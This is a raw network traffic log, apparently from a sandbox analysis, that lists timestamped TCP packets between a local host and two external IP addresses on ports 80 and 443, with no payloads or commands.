Sep 2, 2022 14:02:23.495470047 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.495511055 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.495856047 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.495874882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.495887041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.495918989 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.495954990 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.496004105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.496026039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.496038914 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.496129036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.496146917 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.496481895 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.496501923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.496515036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.496570110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.496568918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.496588945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.496601105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.496637106 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.497061014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.497078896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.497092009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.497143030 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.497198105 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.497222900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.497474909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.497490883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.497546911 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.498240948 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.498264074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.498275042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.498363018 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.498388052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.498410940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.498428106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.498445988 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.498457909 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.499371052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.499430895 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.499448061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.499469042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.499481916 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.499491930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.499497890 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.499507904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.499521971 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.499535084 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.500097990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.500132084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.500148058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.500178099 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.500193119 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.500320911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.500344992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.500360966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.500405073 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.500545025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.500633001 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.500706911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.500726938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.500747919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.500797033 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.500804901 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.500828028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.500847101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.500902891 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.501279116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.501305103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.501321077 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.501353025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.501378059 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.501379967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.501475096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.501496077 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.501530886 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.501949072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.502007961 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.502048969 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.502053976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.502072096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.502146959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.502171993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.502191067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.502219915 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.502427101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.502451897 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.502470016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.502474070 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.502499104 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.502576113 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.502610922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.502625942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.502666950 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.503093004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.503122091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.503138065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.503170967 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.503285885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.503310919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.503328085 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.503330946 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.503350019 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.503684998 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.503712893 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.503730059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.503739119 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.503752947 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.503762960 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.503791094 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.503818035 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.503835917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.503887892 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.504198074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.504226923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.504244089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.504271030 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.504347086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.504395008 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.504417896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.504434109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.504472017 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.504774094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.504801989 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.504820108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.504842997 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.504870892 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.504944086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.504968882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.504985094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.505050898 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.505068064 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.505486965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.505512953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.505530119 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.505570889 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.505573988 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.505589008 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.505657911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.505676031 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.505717039 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.506043911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.506072044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.506088018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.506122112 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.506134033 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.506402969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.506428003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.506443024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.506475925 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.506499052 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.506594896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.506619930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.506637096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.506654978 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.506669998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.506701946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.506727934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.506743908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.506755114 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.506803036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.507287979 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.507317066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.507333040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.507354021 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.507369041 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.507432938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.507457972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.507481098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.507497072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.507524967 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.507533073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.507556915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.507580042 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.507580996 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.507586956 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.507591963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.507651091 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.508105040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508126020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508141994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508155107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508158922 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.508183002 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.508208990 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.508269072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508289099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508305073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508317947 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.508318901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508347988 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.508354902 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.508774042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508795977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508812904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508825064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508846998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.508869886 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.508948088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508968115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508985043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508996964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.508999109 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.509015083 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.509032965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.511043072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.511138916 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.831890106 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.833121061 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.952953100 CEST	49800	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:23.952980995 CEST	443	49800	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:23.953236103 CEST	443	49800	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:23.953610897 CEST	49800	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:23.959888935 CEST	49800	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:23.997622967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.997683048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.997725010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.997746944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.997838020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.998184919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.998296022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.998332977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.998379946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.998424053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.998454094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.998603106 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.999118090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.999166965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.999196053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.999223948 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.999241114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.999288082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.999316931 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.999325037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.999339104 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.999391079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.999439955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.999445915 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.999470949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.999485016 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:23.999654055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.999696970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.999726057 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:23.999752045 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.000029087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.000077963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.000108004 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.000108957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.000140905 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.000339031 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.000396967 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.000405073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.000437975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.000447989 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.000641108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.000668049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.000683069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.000705957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.000720978 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.000731945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.000749111 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.000755072 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.000778913 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.001089096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.001126051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.001133919 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.001146078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.001174927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.001282930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.001346111 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.001363993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.001403093 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.001641989 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.001668930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.001688004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.001715899 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.001921892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.001971960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.002002001 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.002013922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.002027035 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.002475977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.002501011 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.002518892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.002571106 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.002743959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.002770901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.002787113 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.002794981 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.002823114 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.003087997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.003114939 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.003134966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.003139973 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.003160000 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.003386974 CEST	443	49800	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:24.003400087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.003429890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.003447056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.003479004 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.003494024 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.003813982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.003840923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.003859043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.003871918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.003886938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.003906012 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.004019022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.004035950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.004046917 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.004086018 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.004229069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.004276991 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.004378080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.004395008 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.004441977 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.004509926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.004565001 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.004569054 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.004587889 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.004628897 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.004806995 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.004848957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.004862070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.004981041 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.005038977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.005146027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.005162954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.005173922 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.005203962 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.005425930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.005454063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.005475044 CEST	80	49787	85.209.157.230	192.168.2.6
